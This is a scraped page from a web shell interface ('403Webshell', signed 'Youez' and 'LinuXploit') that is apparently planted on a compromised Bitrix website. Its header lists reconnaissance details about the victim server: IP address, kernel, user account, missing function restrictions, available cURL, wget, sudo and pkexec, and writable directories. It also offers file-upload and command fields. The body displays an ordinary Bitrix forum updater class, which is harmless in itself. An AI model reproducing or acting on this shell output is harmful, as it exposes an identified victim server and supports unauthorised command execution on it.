403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/forum/lib/update/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/forum/lib/update/topicservicecounter.php
<?
namespace Bitrix\Forum\Update;

use \Bitrix\Main\Update\Stepper;
use \Bitrix\Forum\Integration;
use \Bitrix\Main\Loader;
use \Bitrix\Main;
use \Bitrix\Forum\MessageTable;

class TopicServiceCounter extends Stepper
{
	protected static $moduleId = "forum";
	protected const TOPIC_LIMIT = 100;

	public function execute(array &$result)
	{
		if (!Loader::includeModule("forum"))
		{
			return self::finishExecution();
		}

		if (Main\Config\Option::get("forum", "LivefeedConvertServiceMessageStepper") === "inProgress")
		{
			return self::CONTINUE_EXECUTION;
		}

		if (!array_key_exists("lastId", $result) || (int)$result["lastId"] <= 0)
		{
			$result["lastId"] = 0;

			$res = MessageTable::getList([
				"select" => [ "CNT"],
				"filter" => [
					'>SERVICE_TYPE' => 0
				],
				'runtime' => [
					new \Bitrix\Main\Entity\ExpressionField('CNT', 'COUNT(*)')
				]
			]);
			$topicData = $res->fetch();
			$result["count"] = (int)$topicData['CNT'];
		}

		$filter = [
			'>SERVICE_TYPE' => 0
		];
		if ($result["lastId"] > 0)
		{
			$filter["<TOPIC_ID"] = $result["lastId"];
		}

		Main\Config\Option::set("forum", "TopicServiceCounterStepper", "inProgress");

		$lastId = 0;

		$res = MessageTable::getList([
			"select" => ["TOPIC_ID", "CNT"],
			"filter" => $filter,
			'runtime' => [
				new \Bitrix\Main\Entity\ExpressionField('CNT', 'COUNT(*)')
			],
			"group" => ["TOPIC_ID"],
			"limit" => self::TOPIC_LIMIT,
			"order" => ["TOPIC_ID" => "DESC"]
		]);
		while($topicData = $res->fetch())
		{
			$topic = \Bitrix\Forum\EO_Topic::wakeUp($topicData["TOPIC_ID"]);
			$topic->setPostsService($topicData["CNT"]);
			$topic->save();
			$lastId = $topicData["TOPIC_ID"];
		}

		if ($lastId > 0)
		{
			$result["lastId"] = $lastId;
		}
		else
		{
			return self::finishExecution();
		}

		return self::CONTINUE_EXECUTION;
	}

	protected static function finishExecution()
	{
		Main\Config\Option::delete("forum", ["name" => "TopicServiceCounterStepper"]);
		return self::FINISH_EXECUTION;
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit